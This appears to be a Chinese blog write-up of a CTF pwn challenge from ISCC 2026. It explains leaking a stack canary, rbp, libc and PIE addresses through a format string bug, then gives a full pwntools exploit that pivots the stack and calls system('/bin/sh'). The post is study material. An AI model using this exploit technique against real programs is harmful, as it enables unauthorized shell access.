ISCC-pwn（2026）-CSDN博客思路是在这位博客上get的
查看一下文件的保护措施 又有canary 还有pie ，需要泄露的有点多啊
格式化字符串漏洞，那就好解决了，但是read(0, buf, 0x7Cu）=》（104，124）
溢出并不够我们构造rop链啊，那就考虑一下栈迁移。只是在本地调试学习，
下面是我有了改动的的东西。
from pwn import * p=process('./sea') context(arch='amd64',os='linux',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') elf=ELF('./sea') p.recvuntil(b'>') p.sendline(b'%15$p%13$p%21$p%17$p') #p.recvuntil(b'0x') #canary=int(p.recv(16),16) #print(hex(canary)) data = p.recvline().split(b'0x') rbp= int(data[1],16) leak=int(data[2],16) canary = int(data[3],16) main = int(data[4],16) gdb.attach(p) print(f'rbp= {hex(rbp)}') print(f'libc={hex(leak)}') print(f"canary={hex(canary)}") print(f'r13={hex(main)}') base=main-(0x13cc) rdi=0x1483+base leve_ret=0x130b+base libc_base=leak-libc.symbols.setvbuf-245 print(hex(libc_base)) ret=0x101a+base sys=0x130d+base p.recvuntil(b'>') pay=(p64(rdi)+p64(next(libc.search(b'/bin/sh'))+libc_base)+p64(libc.symbols.system+libc_base)+p64(main)).ljust(0x68,b'a')+p64(canary)+p64(rbp)+p64(leve_ret) print(len(pay)) p.send(pay) p.interactive()就一直困扰我的就是泄露那些除了canary之外的其他东西。canary偏移好测：buf104/8=13，然后再通过程序的漏洞看输入到输出的偏移，从下面看出来是8，所以canary就在21处
印象里rbp不是应该在canary后吗，为啥他的偏移是15嘞。从下面看 rsi是我们输入进栈的第一个位置，rbp就在他下面15处，至于 13处的libc和17处的main 都是泄露出地址后 在栈上看见的，不是刻意想知道哪个，我们的目的是找到基址。能泄露，知道泄露的是啥，那就能达到目的
